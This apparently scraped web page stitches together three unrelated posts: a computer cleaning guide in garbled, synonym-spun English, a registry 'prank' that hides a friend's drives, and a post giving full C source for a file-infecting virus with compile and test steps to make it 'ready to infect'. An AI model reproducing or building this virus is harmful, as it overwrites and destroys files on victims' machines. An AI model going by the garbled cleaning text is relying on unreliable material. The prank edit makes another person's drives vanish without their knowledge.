How to Clean Your Computer

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With day by day utilization of machines, soil and fat leave their imprint. Outside, as well as inside, the suction apparatus for air (cooler for inside segments) draws the dust inside the machine case. Anyway, not at all like auto, we clean machine infrequently. In the event that you have not want to update your machine clearly you have not want to open it a great deal of time, even years. On the other hand, possibly your mother or wife amid a general cleaning of rooms may clean the dust just from the screen and console. Be that as it may, it is not arranged cleaning. 

To clean machine part by segment take after next tips: 

In the first place – put power off – turn the link from the outlet for wellbeing reasons. 

Screen can be cleaned with sodden (not wet), delicate cloth or you can purchase an apparatus for cleaning the screen (cleaner) and clean it with delicate duster (don't include the instrument for cleaning specifically on the screen). 

The keypad is tricky to clean in light of the fact that there are a lot of spots where earth can be placed. In the first place, flip around it and shake it. After that explode the dust between the keys with hair dryer (place it in the driving rain) or compacted air in jars (cost- $5 – $10). In the event that you utilize a compressor be watchful on the grounds that the weight is substantial and can harm the console. Toward the end – with dampen cloth with liquor pass between the keys. On the off chance that you have a portable computer be exceptionally watchful. 

Clean the mouse – the upper and lower sides clean with paper or fabric dampen with liquor. 

Clean the machine case on the yard or gallery on the grounds that it has a bigger amount of dust. Separate all links from the case. With screwdriver unscrew the screws and open the case (Only on the off chance that you realize what you are doing!). In the first place (remember) victory the force supply with layered air in jars, or some electric dust cleaner. Utilize the brush utilized for lodging to clean non electronic parts of the case (valves on processor and realistic card, uninvolved fridges and so on.). Be mindful – don't touch electronic parts. On the off chance that your machine case has a considerable measure of dust blow it with compressor or assimilate it with electronic dust cleaner. 

More tips: Clean the machine case each 3-6 months, contingent upon where your machine is placed. In the event that your machine is on floor you'll have to clean more regularly than the particular case that is put on a higher position (ex. on the table). To safeguard console clean, don't consume and drink on it and don't work with dusty and grimy hands. Clean the console as frequently as could be allowed on the grounds that when earth once goes between the keys, you won't have the capacity to uproot the dust without a fu

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Hide Hard Drives Partitions(C:,D:,E: etc.)

This is a great trick you can play on
your friends. To disable the display
of local or networked drives when
you click My Computer.
1.Go to start->run.Type
regedit.Now go to:
HKEY_CURRENT_USER\Software\Mic
rosoft\Windows\Curre ntVersion
\Policies\Explorer
Now in the right pane create a new
DWORD item and name it NoDrives
(it is case sensitive). Now modify
it’s value and set it to 3FFFFFF
(Hexadecimal) .Now restart your
computer. So, now when you click
on
My Computer, no drives will be
shown(all gone…). To enable
display of
drives in My Computer, simply
delete this DWORD item that you
created.
Again restart your computer.You
can now see all the drives again.
Magic.

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How to Create a Computer Virus?

                                                 

               This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
  

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();}                                                                             

                                                                     COMPILING METHOD:                                                     COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

 

                                                                      HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

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